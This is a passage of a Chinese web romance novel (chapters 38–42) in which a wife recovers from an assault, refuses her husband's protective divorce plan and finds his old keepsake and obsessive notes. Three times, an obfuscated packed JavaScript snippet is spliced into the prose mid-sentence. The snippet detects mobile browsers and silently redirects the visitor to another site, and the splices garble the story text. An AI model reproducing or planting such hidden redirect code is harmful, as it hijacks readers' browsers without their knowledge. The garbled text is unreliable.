裴聿珩从来觉得自己没什么可失去的,要遗失的东西,要离开的人,也都没有挽留的必要。 但现在,他有了。 温今遥昏迷的一天一夜里,险些失去的恐惧让他难以成眠,他甚至不敢去想象当时的场景,在吴桓对他汇报状况时屡屡打断,更无法抑制地去假设,如果不是他当时正好结束了一个会议,想要听听她的声音,才打开手机就收到她发来的求救短信和位置,如果不是他当机立断立刻联系吴桓,如果吴桓不是实在盯不住了,只去楼下买了杯咖啡…… 如果不是这些刚好全部叠加在一起,她身上会发生什么,他现在会是什么样子,裴聿珩根本连想都不敢想。 可温今遥握紧了他冰凉的手,明明自己还在怕得掉眼泪,开口却还是在为吴桓说情:“是我自己临时回去加班的,看到一个人都没有,我就应该想到以前你叮嘱过我、让我当心的事,可是我全当耳旁风啦。所以这件事,我自己起码有一半的责任。” 她一边劝慰裴聿珩,一边偷偷给垂头立在一边的吴桓使眼色:快求饶啊!台阶都给你递到脚边了你怎么都不知道下! 吴桓看起来没有任何要辩解的意思,依然垂手而立,一片沉默。 他确实无法原谅自己,温今遥的话甚至让他更愧疚。 那杯咖啡他就非喝不可么? 上次他在家门口空等两个小时都没蹲到人,最后也是夫人替他说情了。 温今遥见他实在朽木不可雕,只好使出撒手锏,伸手环住裴聿珩的脖颈:“老公,我头疼……” 这久违的两个字终于让裴聿珩眉心一松,可他的笑也是忧悒的:“你这样叫我,想要天上的星星,我也得摘给你。” “那你不要……” “开除他”三个字还未来得及出口,病房门口忽然传来一声质问:“你是谁?” 所有人下意识转头向门口望去,只见李玉和于放手里提着水果和鲜花,眉毛扬得比天高: “裴总?你们?” 39. 第 39 章 温今遥只希望刚刚自己没醒过来。 思来想去,真的不会有比现在更差的时机了。 大概是那一下击打真的伤了脑子,温今遥木然地对李玉道:“总监,我头疼。” 裴聿珩:“……” 他淡淡扫了吴桓一眼,后者很识相地低着头离开,而后他面色沉郁地指了指对面的沙发:“坐。” 李玉扬起下巴,目光越过他的肩头,不可置信地看病床上的人:“温今遥,这怎么回事?” 裴聿珩迫近一步,声音不复平日的温润:“两位来得不是时候,她身体还没恢复,假条过后会补上。” 李玉直接关上门,丝毫没有要告辞离开的意思:“裴总,温今遥是威禾的员工,您未免管得太宽。” 他们看到的一切,于放本来是不信的,觉得裴聿珩不至于此,这时候看见温今遥头上缠着纱布,眼圈还红着,便也开始怒火中烧,压低了声音问:“姓裴的对你做了什么?我有没有跟你说过,这个钱我们也不是一定要赚的?” 裴聿珩冷笑:“于总现在倒是道貌岸然,如果我早知道威禾是这种连员工安全都没办法保障的小作坊,鸿禧的项目怎么都不会交到你们手里。” 温今遥坐在病床上,感觉脑袋比撞上消火栓的那一刻还要疼。 她一时不知从哪里开始解释,只能先叫停:“冷静一下,和气生财啊,哈哈,和气生财。” 李玉绕过挡在她面前的裴聿珩,把带来的东西扔在桌上,直接向温今遥发难:“他结婚了,你不知道吗?” 于放也黑着脸过来,对裴聿珩道:“裴总,容我提醒,你前段时间刚刚宣布结婚,蜜月期都还没过,就来骗别人家的女孩,这样不好吧?” 谁知裴聿珩根本没准备解释,冷冷道:“于总想如何?是想跟鸿禧解约吗?” 于放:“你在威胁我?” 裴聿珩不置可否:“多少钱能买你们闭嘴,然后从这里滚出去?” 于放摇头,答得异常坚定:“你想都别想,做出这种下三滥的事情,还想我们息事宁人?你是不是以为她年轻单纯,就可以任由你祸害?我告诉你,她如果想报警,我们会不惜代价、全力支持她。别觉得我们小门小户,就由得你随便欺负,你裴聿珩还做不到只手遮天!” 两人对话向着越发离谱的方向一路狂奔,眼看着拉不回来了,温今遥忽然大喝一声:“停!都闭嘴!听我说一句!” 三个人终于消停下来,视线齐刷刷落在她身上。 温今遥无奈道:“裴聿珩,你唯恐天下不乱是不是,我是你老婆这件事,就这么难说出口?” 于放:“你别在这给我……什么?” 李玉的视线在裴聿珩和温今遥两人之间来回倒了几趟,惊得扬了眉毛:“温今遥,这怎么回事?” 温今遥:“就是这么回事呀,”她牵起裴聿珩的手,举起来:“我跟裴聿珩,是合法夫妻。” 裴聿珩偏头看她,眉间戾气稍缓,握紧了那只牵着他的手。 温今遥母亲早逝,父亲又不做人,他时常担心她孤身在外无人撑腰会让人欺负,现在看来,她不但有人撑腰,腰杆子还特别硬。 倒是他多虑了。 李玉哑了半晌,问:“……什么时候的事?” 温今遥回忆了一下,道:“就去年年底,有一天我请了半天假……” 李玉:“人事不是说你要去看演唱会吗?” 温今遥:“对,就那天。” 这下子换裴聿珩有些不平衡了,当着外人也有些遮掩不住地苦笑:“怎么,跟我领证是一件多见不得人的事?” “不是,”温今遥认真道:“我说了我去领证,大家都不信,不给我准假,我没办法了才说我去看演唱会的。” 于放在一边头大如斗:“……这些家常能不能等等再聊?现在的当务之急,难道不是应该搞清楚她的伤是怎么回事吗?” 是谁做的孽,温今遥也有些拿不准。 她本来觉得肯定是她爸,老头子找不到人,恼羞成怒,找人来弄她了。但也有疑点,一来她前脚刚收到消息,后脚就被攻击,时间好像对不上;二来…… 如果是温全找人动的手,应该不会下手这么狠,好像不搞到她失忆不算完似的。 倒不是他还念着血缘或是心疼女儿,主要是还得靠温今遥给他钱,要是一不小心把她打成傻子,那岂不是得不偿失。 裴聿珩声音沉哑:“我知道是谁。”他摸了摸温今遥的侧枕,柔声道:“是我不好。” 除了贺中,他想不出第二个人选。 于放彻底看裴聿珩不顺眼了:“合着是您自己造的孽啊,刚是谁来着,说我道貌岸然的……” 后半句被李玉一胳膊肘捣进了喉咙里。 裴家这种门庭,每逢权力更迭会发生什么,多看两部豪门狗血剧就能猜个八九不离十。加上前段时间裴聿珩对父亲旧部动手的传闻,李玉毫不意外,会有人对他的新婚妻子动手。 她甚至拿不准,裴聿珩选择温今遥这样一个身份的女人,是不是就是为了当挡箭牌的。 李玉:“裴总,就算温今遥是你老婆,她也同样是威禾的员工,我想我还是要提醒你一句,钱,终归没有人命重要。” 裴聿珩垂着眼帘,抬手给温今遥掖了掖被角:“放心,该算的账,没有留到年后的道理。” …… 简单的检查后,医生告知病人可以出院,务必回家静养。 温今遥婉拒了李玉想接她回家的提议,亲自把两人送到门口,回身乖巧地坐在床边,看裴聿珩慢条斯理地替她收着东西。 他路过面前时,温今遥扯住了他的衣角。 窗外的夜色已经完全降临,病房中亮得刺眼的白炽灯透着一点外强中干的苍白,将温今遥微微抬起的脸照得几乎透明起来。 她这么纤弱,一个人面对歹徒的时候得多害怕。 裴聿珩半跪在她面前,握住她的手,低头深深一吻:“对不起。” 她的手还冰凉,却不贪恋他手掌的温度,而是轻轻抽出来,一下一下拍着他的后背:“聿珩哥哥,别害怕,我不会那么容易就死掉的。” 带着病中虚弱的声音落在裴聿珩的耳边,像一把生锈的刀,慢慢割着他业已被阴狠和戾气缠绕的心。 不死掉就可以了吗? 他独自挨过漫漫长夜,重新出现在她面前,给她一段法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027221|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律承认的婚姻,到头来,她只要不死掉,就算心满意足了吗? 不是的,他分明是要她平安喜乐,余生无忧,他的设想,是将世界上最好的东西全都给她,去她想去的地方,做她喜欢的事,让她的生命充满她见所未见的丰盛和幸福。 而不是像现在这样,担惊受怕、惴惴不安,在自己工作的地方独自面对未曾设想的危险。 收到她的求救短信之前,他甚至还在跟她冷战。 肖想了那么多年的人,他就是这样对待的。 裴聿珩慢慢站起来,拿了外套替她细心穿好:“走吧。” 温今遥懵懵懂懂:“回你家吗?” 裴聿珩牵住她的手,神色在一片清明白光中混沌不明:“不,我们先去别的地方。” …… 黑色宾利无言地破开夜幕,悄无声息地滑入鸿禧总部,门口早有人接到电话,立等迎候。 温今遥从没来过裴聿珩办公室,只觉得宽敞严肃,灰调冷厉,巨大的落地窗几乎要框住整个夜色阑珊的北城。她站在窗前,讶异道:“呀,这里视野比家里卧室还好!” 齐律师端着沉甸甸的文件袋候在一旁,闻言悄悄抬头瞟了一眼裴聿珩,只见裴总眼角挂着他从来不曾见过的温存笑意,凝神听着她每一句浮夸的形容,目光甚至比聆听并购方案时还要专注。 看起来感情很好,那为什么…… 他收回视线,恭敬地等在一边,不再妄自揣测。 裴聿珩坐到色泽沉厚的沙发上,冲她招手:“今遥,来这里坐。” 温今遥不明所以地挨着他坐下:“不回家,到这里来做什么呢?” 裴聿珩冲她笑笑,随后朝齐律师点了点头。 齐律师将手里厚重的文件袋交到温今遥手里:“裴太太,这里面是裴聿珩先生名下所有资产的目录,包括房产、地产、车辆、收藏品、现金、股票、海外资产等等条目,详细罗列了裴先生的私产。” 温今遥莫名其妙:“这是干嘛,你要把身家性命都交给我?” 裴聿珩满眼温柔地望着她,没有说话。 温今遥笑着,笑容之下却隐隐透着不安:“别人老公交工资卡,你倒好,给我打印个目录,是不是在跟我凡尔赛?” 齐律师继续道:“二位在婚前没有签署婚前协议,而裴先生已经在婚后将所有私产登记为共同财产,按照婚姻法相关条例及补充条款,温今遥小姐有权分割裴先生名下资产的一半。另外,裴先生在鸿禧的股份,是在婚前取得,除非双方有特殊约定,否则这部分不在分割范围内。” 他近乎机械的声音在冷穆的办公室中回荡:“请二位就财产分割协议达成共识,之后才可以办手续。” 说完,他冲裴聿珩点了点头,悄无声息地退出了办公室。 温今遥越听越一头雾水,越听越坐立难安,干笑着抬手捣了捣裴聿珩:“他在说什么呢,分割财产,干嘛,这是要提前预演我们协议期满,婚约作废吗?” 裴聿珩垂下温和的目光凝视着她,很久没有回答她的话。 “裴聿珩——” “今遥,”他握紧了她的手,眼底似有无限的柔情与悲悯:“我们离婚吧。” 40. 第 40 章 温今遥愕然地望着他,眸中倒映出他俊朗沉和的脸,恍然间竟觉得既荒谬又合理。 无论别人口中的裴聿珩多么杀伐决断、凶残成性,温今遥始终都知道,他不是一个真的忍心看别人承受无妄之灾的人,哪怕对妻子没有感情,他也应当会觉得歉疚。 况且,温今遥知道,他多多少少,对自己还是有情意的。 但荒谬的是,他这样一个人,竟会选择在这种时候亡羊补牢。 “我会对外放出我跟别人私会的消息,然后再宣布离婚,这样一切就顺理成章,他们的目标也不会再对准你。”裴聿珩语气极为平静:“接下来的事,我只有七成把握,如果成功,我们还可以复婚,如果不成,现在离婚就是在保护你,况且,你拿着这些钱,到哪里都可以过得不错——总之,对你来说,离婚无本万利。” 他拿出齐律师准备好的离婚协议书,摆在她面前:“听话,签个字。” 一只冰凉的签字笔滚进温今遥的手中,笔尖泛起凌厉的冷光,细针一样扎进她的眼里。她垂着眼睛看了一会儿,抬头言简意赅道:“不签。” 她一张小脸绷得很紧,唇角抿得平直,只有一双眼睛依然亮得吓人,在背后辉煌的北城灯火中毫不逊色,坚定之色尤甚他们重逢时,她端着一杯酒跟他说,有什么问题,由我自己一力承担。 裴聿珩用拇指指腹蹭了蹭她的脸颊,柔声道:“现在不是凸显你革命精神的时候……” “你先听我说完。”温今遥打断他:“如果我们现在离婚,外界只会认为你不惜离婚分家产也要保护我,那他们就更不可能放过我。更别说你自导自演出轨……在这个节骨眼上?这不是太不打自招了吗?” 裴聿珩当然知道,这不是万全的办法,但他现在更没办法冒着风险把她留在身边。无论对面怎么想,放烟雾弹总会拖慢他们的脚步,为他下一步计划争取时间。 还有另外一个原因,他确实无法跟温今遥解释。 原本裴聿珩一腔执拗,觉得自己什么都可以不求,哪怕用一些上不得台面的手段,只要能把她绑在身边,他都无所谓。 但越是相处,他就越是贪心。 开始只是想要两个人的名字一起出现在结婚证上就好,后来想要每天都多看看她,再后来,想看她笑,想听她说想他,需要他。 到现在,裴聿珩疯了一样想要温今遥爱他。 爱的贪欲一旦冒头,就如同魔化的藤蔓那样野蛮疯长,轻而易举便攻破了他一无所求的假象,从前的那些云淡风轻、不以为意,统统不作数了。 但温今遥熟悉他、亲近他、依赖他,偏偏就是不爱他。 这是裴聿珩第一次对自己的手段失去了信心。 既然是这样,那这就是一个机会,他想,可以趁这次,名正言顺地给她很多钱,然后放她自由。 于是他亲手打开了鸟笼,可他的小鸽子,抖了抖无瑕的羽翼,最后却停在了他的手上。 “你别以为我是为了你啊,”她欲盖弥彰:“我这是战略型思维,再说……”她瞟了一眼手上厚厚的文件袋:“你别欺负我没见识,到底是继续当你老婆拿的钱多,还是现在走人拿的钱多,我还是分得清的。” 裴聿珩失笑:“你但凡打开看看里面的名录,就会知道,这些东西你下辈子也花不完的。” “我才不管,”温今遥把文件袋塞进他手里,无理取闹起来:“我就要,花不完我也要!我要跟恶龙一样,趴在金银财宝上面睡觉!” 裴聿珩捏她的脸:“不硌得慌?” 两人笑了一阵子,温今遥问:“你知道是谁做的,是不是?” 裴聿珩眼神一沉:“当然,我只是没想到,他们竟真的敢在威禾动手。” 既然在威禾下手,那贺中一定做了万全的准备,一应证据应该都不存在了,即使扒出是谁动的手,也会发现这个人是个案底有两寸厚的熟手,跟贺中八竿子都打不着,更别说把这件事栽到贺中身上,让他认罪了。 温今遥盯着他微眯的眼睛,油然而生一种不祥的预感:“你……你想做什么?” 裴聿珩眼中的阴翳瞬间散去,取而代之的是看向她时独有的温柔:“也没什么,我这个人向来讲究礼尚往来,要是没一点表示,恐怕要让别人说我不懂规矩。” 温今遥想起在船上时,自己偷听他跟贺中喝咖啡闲聊,表面风和日丽、笑语晏晏,其实针锋相对、暗潮汹涌。 她一怔,耳边莫名响起那时候裴聿珩的话:“同一个错误,一家人最好不要犯第二次,您觉得呢?” 他的父母伉俪情深,于是母亲险些被竞争对手当做目标,之后很多年,出门都万分小心,这一点连温今遥都还有印象。 所以他决心不跟父亲犯同个错误——他不会跟心爱的女人结婚,把她放在险境中。 那时候,他是这样跟贺中说的,但看现在的情况,贺中并没有相信。 归根结底,年少时裴聿珩对她的感情,已经成了裴家的某种隐伤,如果贺中去跟裴崇求证,裴崇会给出什么样的答案,简直不言而喻。 温今遥忽然想,那现在呢,现在……他的回答,变了吗? 既然他第一时间想到要离婚,甚至都顾不上这办法有没有用,是不是就说明,除了必须保护妻子的道德、相识多年的情分之外,他对她,也有跟她同样的感情? 无关过往、无关亏欠,而是那种最本真、最自然的爱情。 “裴聿珩……”她忽然叫他。 “嗯?” 话到嘴边,温今遥却盯住他疲倦又愧疚的眼睛,话锋一转:“你还记不记得,高中的时候,我们一起打过一场联合篮球赛?” 所谓的“联合篮球赛”,是学校看女生体育课大都不爱动,想出的一个损招:让一个高年级男生带一个低年级女生,打一场二对二的篮球赛。 温今遥那时候虽然又瘦又小,但她从小就活泼好动,从女同学手里凶悍地抢断,之后反手传球给裴聿珩,然后六亲不认地抱住要上去拦截的对方男选手,回头对他喊:“大后方交给我!聿珩哥哥你快快快投三分!” 她在场上几乎把能犯的规全部犯了一遍,但这本来就是个游戏性质的比赛,最后竟然还是让他们赢了。 那是裴聿珩赢得最不光彩的一场。 想起年少时无忧无虑的过往,裴聿珩眉目间的倦意稍缓,笑道:“记得。” “现在也跟那时候一样,”她展开手掌,与他十指相扣:“你不用担心我,去投你的三分就好了,我会保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037191|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护好自己。”她想了想,问:“十天,十天够吗?” 裴聿珩点头:“够了。” “我不想离婚。这十天,我就待在家里,哪里都不去,等你回来告诉我,事情已经解决了,好么?” 裴聿珩紧攥住她的手:“……好。” …… 再回到CBD的顶层公寓里,温今遥总觉得恍如隔世。 不仅仅是因为这里的舒适度完爆她的出租屋十条街,更是因为在这里,她有在任何地方都没有的安全感。 这里每个角落都有他的气息,他生活过的痕迹,沙发一角有他翻阅过的书、用过的平板,电视柜下面有他们一起玩过的手柄和游戏主机,壁炉用哪种柴也是他们争执过,最后裴聿珩让着她,换了她喜欢的那一种,洗手间的熏香还是她换的,因为裴聿珩用惯的贵的那瓶见底了,她就拿了超市凑单的便宜货来应急…… 这里对她来说,早就不是一个借住的住处,而是他们一同朝暮与共生活过的地方。 这样的地方,凡人把它称作“家”。 她站在玄关处,换好了拖鞋,却没动,忽然抬头叫:“裴聿珩。” 那人就在她身边应她:“我在,怎么了?” “等事情结束,我想把出租屋退了,”温今遥眉目间是舒展的笑意:“到时候,你帮我一起搬家吧。” 这句话比任何露骨的表白,都要让裴聿珩心动。 以至于那天晚上,他迟迟不肯放手。 或许是分开几天,温今遥兴致也很高,小猫一样四处抓挠,刚开始还玩闹地用指甲在他身上画画,不知什么时候,指尖留下的痕迹,就变成了控制不住力道和深浅的血痕。 可她根本顾不上问他一句疼不疼,因为思绪早就被撕得粉碎,开口就是成片的破碎。她伸手与那只护住她头顶的手紧紧相扣,理智在翻来覆去的震荡中渐次沉沦,简直要崩溃地哭出来。 裴聿珩却依旧不肯轻易放过她,掌心在她后腰一托,让她双臂攀上自己的肩膀,上半身挤压贴紧。为了不失去平衡,温今遥不得不收紧身体,却将脆弱空门彻底暴露在攻击之下。 她再忍不住,流着泪一口咬上他的肩头。 “那时候在球场上,你叫我什么?” “聿珩哥哥……” “再说一遍。” “聿珩哥哥。” “今遥,叫我的名字。” “裴聿珩,我……” “嘘,”骨节分明的手指戒尺似地按上她的唇:“我是谁?” 她双眸失焦着:“是哥哥。” “答错了,”他咬牙发狠,声音却温柔:“再想想。” 温今遥声音轻颤着,在某个边缘无望地徘徊:“你是我的丈夫……” “接近了,再想想……”他循循善诱,用最后的甜头蛊惑她:“今遥,再想想,你想要的,我就给你。” 她不可自控地紧紧圈住他的脖颈,声音空濛得发虚:“你是……你是我的爱人。” 星星终于在他怀里不住地震颤,光芒汇聚成一整条炫目银河,从高远的天际奔流而过。 他们在星空下吹了很久的风,才渐渐从山顶落回原处。裴聿珩鼻尖抵着她濡湿的耳际:“是,我是你的爱人。” 41. 第 41 章 第二天温今遥浑身酸软地醒来时,窗外早已日上三竿,身边的床早凉透了。 床头有裴聿珩给她放的软膏,留了张字条,让她不舒服的话就记得擦。她拿起来看了一阵,愤愤地扔下,动作牵动腰上的淤青,疼得她嘶嘶地倒抽凉气。 狗男人,温今遥心里骂道,自己做的孽,现在又来装好人!哼! 骂完狗男人,职场斗士温今遥又一个仰倒躺回了床上,从里到外都慢悠悠地犯着懒,只觉得冬日可爱,不跟喜欢的人窝在家里,做什么都是浪费。 ……完蛋,有点想他。 为了不让自己丧志下去,温今遥还是决定给自己找点事做。她慢吞吞爬起来,穿好裴聿珩给她放在床头的衣服,再把散落在卧室各个神奇角落的衣物一件一件收好,红着脸收拾了一些留在各处的见不得人的痕迹,终于把目光投向了她一直忽略的衣帽间。 尽管第一次来时就被它吸引目光,可搬来这么久,她好像从来都没有好好用过这里。 她自己的衣物只有通勤的那一些,不占什么地方,随便塞到卧室的衣柜里了事,剩下的全放在出租屋,根本没拿过来。至于裴聿珩给她购置的那些行头,她从来觉得跟自己没什么关系,很多都堆在衣帽间的角落里,甚至没拆开过。 总而言之,之前她一直都是借住的态度,像衣物鞋帽这种私人物品,最好不要相互牵扯,免得到时候被人扫地出门时,丢三落四,狼狈不堪。 可现在温今遥改主意了——她是这个家的女主人,女主人别说是用用衣帽间了,就是一个不高兴给它拆了,那都实属正常。 她走进绚丽灯带渲染下流光溢彩的衣帽间,忽然觉得这里空得简直称得上空旷。 裴聿珩日常的西装衬衫,分颜色和季节,分门别类挂在不同橱柜里,间隔大得简直还能再塞一整个宇宙。 奇怪了,第一次来这里时,觉得这儿自成一体、高不可攀,现在再看,却觉得哪儿哪儿都是破绽。 就缺她那些五光十色的衣衫装点填满! 温今遥行动力超强,没几分钟就把自己委屈地挤在卧室的那些衣服全部塞进行李箱,运进了衣帽间,三下五除二便给它们找到了新家。 原先蓝灰色冷淡得近乎无机质的衣帽间,被她重新收拾过,好似沾染了凡尘气质,并不觉得廉价散乱,反而变得极有生气,像在一片高冷禁欲的水泥高墙里,蓬勃着开出的一点点鲜嫩的小花。 温今遥拍拍手上并不存在的灰尘,对自己的劳动成果非常满意。 紧接着,她又觉得空空如也的行李箱很碍眼,决定找个地方给它塞进去,视线巡视了半天,觉得最上方空着的那层,只放一个精致盒子有点太浪费了,让行李箱上去跟它作伴会更好。 她踩着凳子,想挪一挪那个独占鳌头的盒子,腾些地方出来,结果指尖将将握到盒子上的提手,她脚下一空,整个人一歪,连盒子带人,在衣帽间的后地毯上摔了个四仰八叉。 温今遥一边揉着磕痛的膝盖,一边震惊地想,为什么衣帽间要铺这么厚的地毯,书房也是,难道裴聿珩早就料到她会在各种地方,以各种奇怪的姿势摔跤吗? 起了这个念头,她自己都笑了:这都什么乱七八糟的。 可当她视线瞥见地上跟她同病相怜的礼盒时,她就再也笑不出来了。 原本扣得严丝合缝的礼盒尖角落地,虽然地上铺了厚地毯,却依然无济于事,摔了个开膛破肚,里面的丝绒袋被一并摔出来,滚落在不远处,看样子也伤得不轻。 温今遥彻底慌了,不管丝绒袋里是什么,包得这么无懈可击,一定是裴聿珩极看重的东西,现在被她给嚯嚯了,裴聿珩回来,要怎么办跟他交代? 她掂量了下自己的荷包,想,要不看看里面是什么,如果真给它摔出个好歹来,还不如直接买个新的换掉,神不知鬼不觉。 温今遥对自己找的这个借口特别满意:这也是为了夫妻感情,并不是为了满足她的窥私欲,也不是为了看看这东西跟别的女人有没有关系。 嗯,一定是这样。 温今遥深吸一口气,轻轻打开了紧紧扎着口的丝绒袋—— 里面装着一个包装完整、连封口贴都没有撕掉的PS3. 那一瞬间,她简直像是打开了自己茫无涯际的前尘往事。 浅紫色的包装盒画着一个方方正正的白色主机,旁边立着一只配套手柄,她记得很清楚,当时她趴在柜台前,一脸认真地问店员姐姐:“这个东西,为什么没有屏幕的呀?” 年代久远,包装盒依然色泽如新,只是依然难挡空气和水分的侵蚀,她稍稍一碰,盒子的角竟然塌下去一块。温今遥赶忙去看,便看见了那一块上面,她亲自画下的一张大眼睛笑颜。 她没有想到,这样一份对他来说远算不上贵重的礼物,他竟然如此细心地保存到现在,精心程度远胜过他任何一块价值连城的名表。 那时她听说裴聿珩被家里强制送出国,决然到把所有东西都带走了,给易湘留下一间空荡荡的房间,易湘怒火攻心,一气之下把裴聿珩在裴家所有的痕迹全部抹去,扬言就当没他这个儿子。 那这么说……他出国的时候,也带着这个笨重又碍事的东西,跟着他一起漂洋过海吗? 温今遥怔愣地低头,看着自己一时兴起,却陪了他这么多年的游戏机。 当初省下午饭钱偷偷买这东西,她料到了裴聿珩肯定是要生气的,更怕她送出去时裴聿珩会告诉她,这东西他早就有了,所以想偷偷寄给他,不然托人转交也可以。可少女别扭的小心思又不甘心真的不留姓名,于是她在一个不起眼的角落画了自己的自画像,以期裴聿珩足够细心,既能知道这是谁送的,又能参透她的苦心,好好享用,不要怪她。 已经二十五岁的温今遥,轻轻摸着盒子上塌陷的一角,眼角眉梢尽是回忆起自己少女心事的温柔。 她记得,她因为不吃午饭得了急性胃炎,第一次住院的那天,裴聿珩翘掉了下午的两节课,专门跑去医院看她。 那时候裴聿珩十七岁,已经长成了一个沉稳安静的少年,只是眉眼和肩背依然残留着些单薄的青涩,可是那天,温今遥却从他轻颤的眼底,看到了她许久不曾在他身上得见的不安。 他扶着病房的门框,肩线随着喘息不停地急切起伏,碎发汗湿在额前,满目慌乱地在病房里找寻了一整圈,才在角落的病床上看到了穿着病号服的温今遥。 而蜷缩在床上的温今遥,已经默默凝视了他很久。 她还记得很清楚,自己是故意没有叫他的,因为她舍不得他脸上的那种表情:紧张、惊惶,如果她没有看错,还带着一点微不可查的无助。 但这一切在他看到她的那一刻,全部被糅杂在一起,捏成了让她不忍直视的心疼。 少年裴聿珩大步走进来,盯着她虚弱的笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044015|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很久,才轻轻坐下,端着声线假装平稳地问:“好些了吗?” 女孩对他绽开了一个极美的笑容,并没回答他的问题,只是弯下腰,从病床底下拖出一个很大的盒子来:“呐,送你。” 裴聿珩接过盒子,扬起的眉毛半天没有放下来,愣了好半天,才抬起头:“哪里来的,你买的?” 女孩眼睛亮晶晶的:“听你们班同学说的,说你想要。这个好玩吗?比超级玛丽还好玩吗?” 此时此刻,温今遥坐在厚厚的羊绒地毯上,抱着以胃病作为代价换来的游戏机,又想起了当时裴聿珩那个神情。 动容、无措、震惊,那样一双清澈好看的眼睛,就这样直直地望着她,好像不把这些全部告诉她,就不甘心似地。 她清楚地记得自己当时漏了一拍的心跳,还有慢慢攀上粉红的耳尖。 这个细节,让温今遥忽然“啊”了一声。 往事太过久远,已经蒙上了岁月的滤镜,让一些感受渐渐模糊,而某些真相,也被她自己从善如流地藏了起来。 她一直以为,小时候她对裴聿珩的好,都是出于愧疚,都是因为她偶然间目睹了父亲做下的绑架案,让她后来跟裴聿珩待在一起的每分每秒,都像是一个试图赎罪的小偷,一边默默地尽己所能偿还着对他的亏欠,一边享受着本来不该属于她的生活。 但现在想来,那个时候,怎么不是喜欢呢。 原来她在自己都不知道的时候,就已经悄悄喜欢他很多年,后来两人走散,在不同世界各自蹉跎许久,最后兜兜转转,竟然还是走到了一起。 诚然,他们婚姻的开端是一场相互利用,但那又怎样,她早就为自己的不诚实预支了代价。 至于他是怎么利用她报复父母,怎么让她成了自己计划的一环,她都不在乎了,因为那些,都是现在的她心甘情愿的。 哪怕他现在已经深情不再,哪怕这次也是她一厢情愿,她也无所谓。 那么苦的日子她也一个人走过来了,一场开端瑕疵的婚姻又算得了什么,如果对方是裴聿珩,是这个会把她的年少心意如此精心保存的人,那即使这场婚姻是错的,她也会尽己所能,把它变成对的。 她将包装盒小心翼翼地收入丝绒袋中,重新严丝合缝地扣回盒子里,准备把它好好地放回了原处。 这份心意,就该这样站在高处,日日俯瞰着他们的幸福生活,看着由它而起的心意和牵挂,是怎样在多年之后,又抽出了细嫩青翠的嫩芽。 可她摆弄盒子的空档,忽然从里面掉出一本说明书来。 温今遥手一顿,捡起来准备塞回去,就那么随意地扫了一眼,陡然瞪大了眼睛。 说明书里写了几国语言,厚厚的一沓,而行距空白处,全部被扭曲疯狂的文字填满。 它们放肆又潦草,密密麻麻地记录着裴聿珩对她不堪言说的欲望,她的名字充斥着巴掌大小的每一个角落,字里行间,全是盘绕蜷曲、古怪可怖的想象,到最后甚至字叠着字、笔画挨着笔画,比起记录和幻想,它更像一种无法自控的发泄。 任谁都不会想到,这是裴聿珩写下的东西。 他温柔谦和、清冷矜贵,可他在无人知晓的角落里刻下的,却尽是潮湿阴暗的欲壑难填。 每一页都被凌乱不堪的字迹填满,但封底干干净净,只在中间一笔一划地孤零零写着一句话: 今遥,我好想你。 42. 第 42 章 裴聿珩不知道自己珍藏多年的秘密已经惨遭毒手,也不知道家里的老婆已经进化成了一株翠绿的藤萝,准备跟他纠缠到底、不死不休。 他正面临着董事会几位重要股东的巨大压力,在每个人私心的夹缝中,寻找那一点虚假的平衡。 究其原因,是跨年活动之后半夏品牌声名鹊起,鸿禧股价拉升不少,但半夏作为年轻化的新品牌,掌权者都是年轻人,气势正盛,隐隐有压他们这些元老一头的趋势。 于是有些人受了两句煽风点火,就坐不住了。 今天“路过”来找他“喝茶”的蒋集,是当年跟着裴崇打江山的另一位,跟贺中交好,这些年来虽然身居高位,但年龄见长,早已经跟不上集团发展的速度,眼界也不再跟得上,却始终幻想着还能如同过去一样,在鸿禧指点江山、说一不二。 裴崇坐镇的时候这一切理所应当,但现在掌权的换成了裴聿珩,那就不同了。 原因很简单,裴聿珩比裴崇,还要疯上许多倍,根本容不下任何人在卧榻之侧安寝。 裴聿珩悠然自得地陪坐在茶桌前,信手泼了前两泡茶汤,慢条斯理放了闻香杯在蒋集面前:“蒋叔,请吧。” 蒋集不为所动。 裴聿珩并不管他,双掌搓动闻香杯,低头轻嗅茶香,丝毫没有主动搭话的意思。 蒋集眼看着他没有伏低做小的苗头,只能率先开口:“前段时间听说你结婚,怎么也没带给我们瞧瞧?侄媳妇最近……怎么样?” 裴聿珩手下动作顿了一瞬,却没有停,好整以暇等茶香散尽,才道:“她很好,劳您挂心。” 没头没尾的,根本来不及扯别的,上来就问候人家老婆,要不是这老东西痴呆了,就是贺中没想到温今遥会伤那么重,在背后托蒋集来说情,想让裴聿珩放过他一回。 裴聿珩轻轻抬了抬唇角。 何必当初呢。 